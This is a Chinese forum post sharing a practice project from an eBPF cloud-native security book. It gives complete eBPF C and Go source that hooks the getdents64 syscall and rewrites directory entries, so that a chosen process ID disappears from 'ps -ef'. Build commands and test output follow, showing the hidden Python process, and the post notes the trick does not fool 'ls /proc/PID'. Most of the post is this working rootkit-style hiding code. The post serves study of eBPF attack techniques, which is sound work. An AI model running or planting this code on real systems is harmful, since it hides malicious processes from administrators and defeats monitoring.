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[分享]基于eBPF的进程隐藏技术
发表于: 2025-1-18 19:45 3141

[分享]基于eBPF的进程隐藏技术

Jtian 活跃值
1
2025-1-18 19:45
3141

这是一个练习项目，主要是针对《eBPF云原生安全：原理与实践》的chapter14的hide-pid的代码实践，仅修改了指定pid的小部分代码。最终实现了通过-p参数指定想要隐藏的进程号，在执行ps -ef的时候无法观察到被隐藏的进程。

实验环境

操作系统版本

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Ubuntu 22.04.3 LTS
 
# uname -a
Linux Jtian 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

编译环境准备

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git clone https://github.com/mozillazg/cloud-native-security-with-ebpf.git
 
https://github.com/libbpf/bpftool/releases/download/v7.5.0/bpftool-v7.5.0-amd64.tar.gz
tar xvf bpftool-v7.5.0-amd64.tar.gz
cp bpftool /usr/bin
 
apt-get update
apt-get install libelf-dev
apt-get install clang
 
apt-get install golang-1.23-go
ln -s /usr/lib/go-1.23/bin/go go
go env -w GOPROXY=https://goproxy.cn,direct

hide-pid-p主要代码

参考cloud-native-security-with-ebpf/chapter14/hide-pid代码，只修改了main.go获取pid的部分代码，使得可以通过-p参数可以隐藏指定的进程。

main.bpf.c

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#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "main.h"
 
struct {
    __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
    __uint(key_size, sizeof(u32));
    __uint(value_size, sizeof(u32));
} events SEC(".maps");
 
struct {
    __uint(type, BPF_MAP_TYPE_LRU_HASH);
    __uint(max_entries, 2048);
    __type(key, u64);
    __type(value, long unsigned int);
} dirp_map SEC(".maps");
 
static const volatile struct config_t configs;
 
SEC("tracepoint/syscalls/sys_enter_getdents64")
int tracepoint_syscalls__sys_enter_getdents64(struct trace_event_raw_sys_enter *ctx) {
    u64 tid = bpf_get_current_pid_tgid();
 
    struct linux_dirent64 *dirp = (struct linux_dirent64 *)BPF_CORE_READ(ctx, args[1]);
 
    bpf_map_update_elem(&dirp_map, &tid, &dirp, BPF_ANY);
    return 0;
}
 
SEC("tracepoint/syscalls/sys_exit_getdents64")
int tracepoint_syscalls__sys_exit_getdents64(struct trace_event_raw_sys_exit *ctx) {
    struct event_t event = { 0 };
    u64 tid = bpf_get_current_pid_tgid();
    int total_bytes_read = BPF_CORE_READ(ctx, ret);
    if (total_bytes_read <= 0) {
        return 0;
    }
    long unsigned int *pp = bpf_map_lookup_elem(&dirp_map, &tid);
    if (!pp) {
        return 0;
    }
    char to_hide_pid[MAX_NAME];
    #pragma unroll
    for (int i = 0; i < MAX_NAME; i++) {
        to_hide_pid[i] = configs.to_hide_pid[i];
        if (to_hide_pid[i] == '\0') {
            break;
        }
    }
 
    bool overwrite = false;
    int overwrite_ret = 0;
 
    //
    struct linux_dirent64 *pre_dirent_start = (struct linux_dirent64*)*pp;
    struct linux_dirent64 *current_dirent_start;
    char current_dir[MAX_NAME] = {};
    //
    short unsigned int pre_reclen = 0;
    short unsigned int current_reclen = 0;
    short unsigned int overwrite_reclen = 0;
    int current_total = 0;
 
    #pragma unroll
    for (int i = 0; i < 1024; i++) {
        // 通过指针操作获取当前 struct linux_dirent64 实例
        current_dirent_start = (struct linux_dirent64*)((void *)pre_dirent_start + pre_reclen);
        // 读取 d_name 和 d_reclen 字段的值
        bpf_probe_read_user(&current_dir, sizeof(current_dir), (char *)current_dirent_start->d_name);
        bpf_probe_read_user(&current_reclen, sizeof(current_reclen), (void *)&current_dirent_start->d_reclen);
 
        // 如果是待隐藏 pid 的目录
        if (str_eq(current_dir, to_hide_pid, MAX_NAME)) {
            // 修改上一个示例的 reclen 字段长度，让它覆盖当前实例长度，达到跳过当前实例的目的，结果就是从 ps 结果中隐藏了该 pid
            overwrite_reclen = pre_reclen + current_reclen;
            overwrite_ret = bpf_probe_write_user(&pre_dirent_start->d_reclen, &overwrite_reclen, sizeof(overwrite_reclen));
            overwrite = true;
            break;
        }
 
        // 防止内存越界
        current_total += current_reclen;
        if (current_total >= total_bytes_read) {
            break;
        }
 
        // 处理下一个实例
        pre_reclen = current_reclen;
        pre_dirent_start = current_dirent_start;
    }
 
    if (!overwrite) {
        return 0;
    }
 
 
    event.pid = bpf_get_current_pid_tgid() >> 32;
    event.ret = overwrite_ret;
    #pragma unroll
    for (int i = 0; i < MAX_NAME; i++) {
        event.hidden_pid[i] = configs.to_hide_pid[i];
        if (event.hidden_pid[i] == '\0') {
            break;
        }
    }
    bpf_get_current_comm(&event.comm, sizeof(event.comm));
 
    bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(struct event_t));
 
    return 0;
}
 
 
char _license[] SEC("license") = "GPL";

main.go

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package main
 
import (
    "flag"
    "bytes"
    "context"
    "encoding/binary"
    "fmt"
    "log"
    "os"
    "os/signal"
    "syscall"
 
    bpf "github.com/aquasecurity/libbpfgo"
)
 
type Event struct {
    Pid       uint32
    Ret       uint32
    HiddenPid [8]byte
    Comm      [16]byte
}
 
type Config struct {
    ToHidePid [8]byte
}
 
func parseEvent(data []byte) (*Event, error) {
    var event Event
    err := binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &event)
    if err != nil {
        return nil, err
    }
    return &event, nil
}
 
func main() {
    var err error
    defer func() {
        if err != nil {
            log.Fatalf("%+v", err)
        }
    }()
 
    /*
    pid := os.Getpid()
    log.Printf("pid: %d\n", pid)
    toHidePid := [8]byte{}
    bs := []byte(fmt.Sprintf("%d", pid))
    for i, v := range bs {
        toHidePid[i] = v
    }*/
 
    var pidStr string
    flag.StringVar(&pidStr, "p", "", "进程ID")
    flag.Parse()
 
    if pidStr == "" {
        fmt.Printf("Usage: %s -p pid\n\n", os.Args[0])
        return
    }
     
    var toHidePid [8]byte
    copy(toHidePid[:], pidStr)
 
    bpfModule, err := bpf.NewModuleFromFile("main.bpf.o")
    if err != nil {
        return
    }
    defer bpfModule.Close()
 
    config := Config{ToHidePid: toHidePid}
    if err = bpfModule.InitGlobalVariable("configs", config); err != nil {
        return
    }
 
    if err = bpfModule.BPFLoadObject(); err != nil {
        return
    }
    progIter := bpfModule.Iterator()
    for {
        prog := progIter.NextProgram()
        if prog == nil {
            break
        }
        _, err = prog.AttachGeneric()
        if err != nil {
            return
        }
    }
    log.Println("tracing...")
    eventsChannel := make(chan []byte)
    lostChannel := make(chan uint64)
    pb, err := bpfModule.InitPerfBuf("events", eventsChannel, lostChannel, 1024)
    if err != nil {
        return
    }
    //log.Printf("will hide pid %d", pid)
    ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
 
    pb.Start()
    defer func() {
        pb.Stop()
        pb.Close()
        stop()
    }()
 
loop:
    for {
        select {
        case data := <-eventsChannel:
            event, e := parseEvent(data)
            if e != nil {
                err = e
                return
            } else {
                log.Printf("pid: %d, comm: %s, hidden_pid: %s ret: %d",
                    event.Pid, event.Comm, event.HiddenPid, event.Ret)
            }
        case n := <-lostChannel:
            log.Printf("lost %d events", n)
        case <-ctx.Done():
            break loop
        }
    }
    log.Println("bye bye~")
}

编译

执行make build，生成 main 和 main.bpf.o 文件。

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root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p# make clean
make -C /root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src clean
rm -rf ./output
rm -rf vmlinux.h
rm -rf main
rm -rf main.bpf.o main.o
make[1]: Entering directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src'
  CLEAN
make[1]: Leaving directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src'
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p#
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p# ls
Makefile  README.md  main.bpf.c  main.go  main.h
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p#
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p# make build
make -C . main
make[1]: Entering directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p'
mkdir -p ./output/libbpf
CC="gcc" CFLAGS="-ggdb -gdwarf -O2 -Wall -fpie -Wno-unused-variable -Wno-unused-function" LD_FLAGS="" \
   make -C /root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src \
        BUILD_STATIC_ONLY=1 \
        OBJDIR=/root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf \
        DESTDIR=/root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output \
        INCLUDEDIR= LIBDIR= UAPIDIR= prefix= libdir= install
make -C /root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src UAPIDIR=/root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output install_uapi_headers
make[2]: Entering directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src'
  MKDIR    /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/bpf.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/btf.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/libbpf.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/libbpf_errno.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/netlink.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/nlattr.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/str_error.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/libbpf_probes.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/bpf_prog_linfo.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/btf_dump.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/hashmap.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/ringbuf.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/strset.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/linker.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/gen_loader.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/relo_core.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/usdt.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/zip.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/elf.o
  CC       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/staticobjs/features.o
  AR       /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/libbpf.a
  INSTALL  bpf.h libbpf.h btf.h libbpf_common.h libbpf_legacy.h bpf_helpers.h bpf_helper_defs.h bpf_tracing.h bpf_endian.h bpf_core_read.h skel_internal.h libbpf_version.h usdt.bpf.h
  INSTALL  /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/libbpf.pc
  INSTALL  /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf/libbpf.a
make[2]: Leaving directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src'
make[2]: Entering directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src'
  INSTALL  ../include/uapi/linux/bpf.h ../include/uapi/linux/bpf_common.h ../include/uapi/linux/btf.h
make[2]: Leaving directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/libbpf/src'
INFO: generating vmlinux.h from /sys/kernel/btf/vmlinux
clang -ggdb -gdwarf -O2 -Wall -fpie -Wno-unused-variable -Wno-unused-function -target bpf -D__TARGET_ARCH_x86 -I. -I./output -c main.bpf.c -o main.bpf.o
CC=clang \
        CGO_CFLAGS="-I/root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output" \
        CGO_LDFLAGS="-lelf -lz /root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p/output/libbpf.a" \
        GOARCH=amd64 \
        go build \
        -tags netgo -ldflags '-w -extldflags "-static"' \
        -o main ./main.go
make[1]: Leaving directory '/root/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p'
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p#
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p#
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p# ls
Makefile  README.md  main  main.bpf.c  main.bpf.o  main.go  main.h  output  vmlinux.h
root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p#

测试效果

随便启动一个python进程，并获得进程号pid

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root@Jtian:~# python
Python 3.10.12 (main, Nov  6 2024, 20:22:13) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>>

获得python的pid号为 119558

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root@Jtian:~# ps -ef|grep python
root      119558    3209  0 19:27 pts/0    00:00:00 python
root      119741   90282  0 19:28 pts/2    00:00:00 grep --color=auto python
root@Jtian:~#
root@Jtian:~#

隐藏指定进程

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root@Jtian:~/project/03.eBPF/cloud-native-security-with-ebpf/chapter14/hide-pid-p# ./main -p 119558
libbpf: loading main.bpf.o
libbpf: elf: section(3) tracepoint/syscalls/sys_enter_getdents64, size 176, link 0, flags 6, type=1
libbpf: sec 'tracepoint/syscalls/sys_enter_getdents64': found program 'tracepoint_syscalls__sys_enter_getdents64' at insn offset 0 (0 bytes), code size 22 insns (176 bytes)
libbpf: elf: section(4) .reltracepoint/syscalls/sys_enter_getdents64, size 16, link 30, flags 40, type=9
libbpf: elf: section(5) tracepoint/syscalls/sys_exit_getdents64, size 130472, link 0, flags 6, type=1
libbpf: sec 'tracepoint/syscalls/sys_exit_getdents64': found program 'tracepoint_syscalls__sys_exit_getdents64' at insn offset 0 (0 bytes), code size 16309 insns (130472 bytes)
libbpf: elf: section(6) .reltracepoint/syscalls/sys_exit_getdents64, size 160, link 30, flags 40, type=9
libbpf: elf: section(7) .maps, size 56, link 0, flags 3, type=1
libbpf: elf: section(8) .rodata, size 8, link 0, flags 2, type=1
libbpf: elf: section(9) license, size 4, link 0, flags 3, type=1
libbpf: license of main.bpf.o is GPL
libbpf: elf: section(20) .BTF, size 3677, link 0, flags 0, type=1
libbpf: elf: section(22) .BTF.ext, size 157068, link 0, flags 0, type=1
libbpf: elf: section(30) .symtab, size 6864, link 1, flags 0, type=2
libbpf: looking for externs among 286 symbols...
libbpf: collected 0 externs total
libbpf: map 'dirp_map': at sec_idx 7, offset 0.
libbpf: map 'dirp_map': found type = 9.
libbpf: map 'dirp_map': found key [8], sz = 8.
libbpf: map 'dirp_map': found value [12], sz = 8.
libbpf: map 'dirp_map': found max_entries = 2048.
libbpf: map 'events': at sec_idx 7, offset 32.
libbpf: map 'events': found type = 4.
libbpf: map 'events': found key_size = 4.
libbpf: map 'events': found value_size = 4.
libbpf: map 'main.rodata' (global data): at sec_idx 8, offset 0, flags 80.
libbpf: map 2 is "main.rodata"
libbpf: sec '.reltracepoint/syscalls/sys_enter_getdents64': collecting relocation for section(3) 'tracepoint/syscalls/sys_enter_getdents64'
libbpf: sec '.reltracepoint/syscalls/sys_enter_getdents64': relo #0: insn #16 against 'dirp_map'
....
libbpf: prog 'tracepoint_syscalls__sys_exit_getdents64': relo #512: patched insn #16188 (ALU/ALU64) imm 16 -> 16
libbpf: prog 'tracepoint_syscalls__sys_exit_getdents64': relo #513: <byte_off> [34] struct linux_dirent64.d_reclen (0:2 @ offset 16)
libbpf: prog 'tracepoint_syscalls__sys_exit_getdents64': relo #513: matching candidate #0 <byte_off> [36451] struct linux_dirent64.d_reclen (0:2 @ offset 16)
libbpf: prog 'tracepoint_syscalls__sys_exit_getdents64': relo #513: patched insn #16247 (ALU/ALU64) imm 16 -> 16
libbpf: map 'dirp_map': created successfully, fd=7
libbpf: map 'events': setting size to 32
libbpf: map 'events': created successfully, fd=8
libbpf: map 'main.rodata': created successfully, fd=9
2025/01/18 19:29:52 tracing...

观察进程隐藏效果 | 针对ps -ef有效，但针对ls -l /proc/xxx无效

针对ps -ef有效

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root@Jtian:~# ps -ef|grep python
root      120545   90282  0 19:31 pts/2    00:00:00 grep --color=auto python
root@Jtian:~#

每次执行ps -ef，在进程隐藏的程序中也有打印出相应日志。

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libbpf: map 'dirp_map': created successfully, fd=7
libbpf: map 'events': setting size to 32
libbpf: map 'events': created successfully, fd=8
libbpf: map 'main.rodata': created successfully, fd=9
2025/01/18 19:29:52 tracing...
2025/01/18 19:31:42 pid: 121264, comm: ps, hidden_pid: 119558 ret: 0

针对ls -l /proc/xxx无效

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root@Jtian:~#
root@Jtian:~# ls -l /proc/119558
total 0
-r--r--r--  1 root root 0 Jan 18 19:37 arch_status
dr-xr-xr-x  2 root root 0 Jan 18 19:37 attr
-r--------  1 root root 0 Jan 18 19:37 auxv
-r--r--r--  1 root root 0 Jan 18 19:37 cgroup
--w-------  1 root root 0 Jan 18 19:37 clear_refs
-r--r--r--  1 root root 0 Jan 18 19:28 cmdline
-rw-r--r--  1 root root 0 Jan 18 19:37 comm
-rw-r--r--  1 root root 0 Jan 18 19:37 coredump_filter
-r--r--r--  1 root root 0 Jan 18 19:37 cpuset
lrwxrwxrwx  1 root root 0 Jan 18 19:37 cwd -> /root
-r--------  1 root root 0 Jan 18 19:37 environ
lrwxrwxrwx  1 root root 0 Jan 18 19:37 exe -> /usr/bin/python3.10
dr-x------  2 root root 0 Jan 18 19:37 fd
dr-xr-xr-x  2 root root 0 Jan 18 19:37 fdinfo
-rw-r--r--  1 root root 0 Jan 18 19:37 gid_map
-r--------  1 root root 0 Jan 18 19:37 io
-r--r--r--  1 root root 0 Jan 18 19:37 limits
-rw-r--r--  1 root root 0 Jan 18 19:37 loginuid
dr-x------  2 root root 0 Jan 18 19:37 map_files
-r--r--r--  1 root root 0 Jan 18 19:37 maps
-rw-------  1 root root 0 Jan 18 19:37 mem
-r--r--r--  1 root root 0 Jan 18 19:37 mountinfo
-r--r--r--  1 root root 0 Jan 18 19:37 mounts
-r--------  1 root root 0 Jan 18 19:37 mountstats
dr-xr-xr-x 65 root root 0 Jan 18 19:37 net
dr-x--x--x  2 root root 0 Jan 18 19:37 ns
-rw-r--r--  1 root root 0 Jan 18 19:37 oom_adj
-r--r--r--  1 root root 0 Jan 18 19:37 oom_score
-rw-r--r--  1 root root 0 Jan 18 19:37 oom_score_adj
-r--------  1 root root 0 Jan 18 19:37 pagemap
-r--------  1 root root 0 Jan 18 19:37 personality
-rw-r--r--  1 root root 0 Jan 18 19:37 projid_map
lrwxrwxrwx  1 root root 0 Jan 18 19:37 root -> /
-rw-r--r--  1 root root 0 Jan 18 19:37 sched
-r--r--r--  1 root root 0 Jan 18 19:37 schedstat
-r--r--r--  1 root root 0 Jan 18 19:37 sessionid
-rw-r--r--  1 root root 0 Jan 18 19:37 setgroups
-r--r--r--  1 root root 0 Jan 18 19:37 smaps
-r--r--r--  1 root root 0 Jan 18 19:37 smaps_rollup
-r--------  1 root root 0 Jan 18 19:37 stack
-r--r--r--  1 root root 0 Jan 18 19:28 stat
-r--r--r--  1 root root 0 Jan 18 19:37 statm
-r--r--r--  1 root root 0 Jan 18 19:28 status
-r--------  1 root root 0 Jan 18 19:37 syscall
dr-xr-xr-x  3 root root 0 Jan 18 19:37 task
-rw-r--r--  1 root root 0 Jan 18 19:37 timens_offsets
-r--r--r--  1 root root 0 Jan 18 19:37 timers
-rw-rw-rw-  1 root root 0 Jan 18 19:37 timerslack_ns
-rw-r--r--  1 root root 0 Jan 18 19:37 uid_map
-r--r--r--  1 root root 0 Jan 18 19:37 wchan
root@Jtian:~#

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最后于 2025-1-18 19:52 被Jtian编辑 ，原因：
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